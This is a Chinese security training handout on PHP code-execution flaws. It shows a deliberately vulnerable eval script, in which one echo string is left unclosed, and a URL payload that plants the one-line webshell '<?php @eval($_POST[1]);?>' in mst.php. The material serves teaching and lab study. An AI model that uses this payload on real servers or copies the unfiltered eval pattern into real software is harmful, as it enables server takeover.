天天看點

米斯特白帽教育訓練講義 漏洞篇 代碼執行米斯特白帽教育訓練講義 漏洞篇 代碼執行

米斯特白帽教育訓練講義 漏洞篇 代碼執行

講師: gh0stkey 整理: 飛龍 協定: CC BY-NC-SA 4.0

原理

由于開發人員編寫源碼時,沒有針對代碼中可執行的特殊函數入口做過濾,導緻用戶端可以送出惡意構造語句,并交由服務端執行。指令注入攻擊中,Web 伺服器沒有過濾類似

system

eval

exec

等函數,是該漏洞攻擊成功的主要原因。

執行個體代碼

<?php
// code-exe.php:
$code=@$_GET['code'];//http://localhost/subject/code-exe.php?code=
echo "<center>Payload:".$code."<br/>Result:</center>
eval($code);           

整個代碼就三行,第一行用于從 URL 參數中讀取

code

參數的值。第二行用于輸出該參數的值,用于檢查該參數。第三行直接将該參數當做 PHP 代碼執行。由于不存在任何過濾,就會産生代碼執行漏洞。

我們在該檔案的目錄下執行

php -S 0.0.0.0:80

,之後通路

http://localhost/code-exe.php?code=phpinfo();

,我們可以看到該代碼執行了

phpinfo

函數:

利用

我們可以将 URL 中

code

參數值換成不同的 PHP 代碼,使其執行不同的 PHP 代碼。利用此漏洞的關鍵還是熟悉所有可用的 PHP 代碼。

比如,可以使用

phpinfo

或者

echo

等調試函數來判定漏洞。最重要的是,可以利用這個漏洞寫入 Webshell,代碼如下:

$file='mst.php'; // 一句話木馬的檔案名
$person='<?php @eval($_POST[1]);?>'; // 一句話檔案名的代碼
file_put_contents($file,$person, FILE_APPEND | LOCK_EX); // 當key.php檔案不存在會自動建立,如果存在就會添加           

我們需要把這三行代碼寫入 URL 中,得到的 URL 是這樣:

http://localhost/code-exe.php?code=$file='mst.php';$person='<?php @eval($_POST[1]);?>';file_put_contents($file,$person, FILE_APPEND | LOCK_EX);

通路之後,目前目錄就會多出一個

mst.php

,内容為

<?php @eval($_POST[1]);?>

,這個就是一句話木馬。由于不是講工具的章節,這裡就不拿菜刀示範了。

在實際代碼中,當然不可能這麼短,就需要大家使用

eval

exec

作為關鍵詞來搜尋可能的漏洞點。另外,實際代碼中還可能在執行之前對

$code

進行過濾,也需要大家發揮創造性,繞過過濾來成功利用它。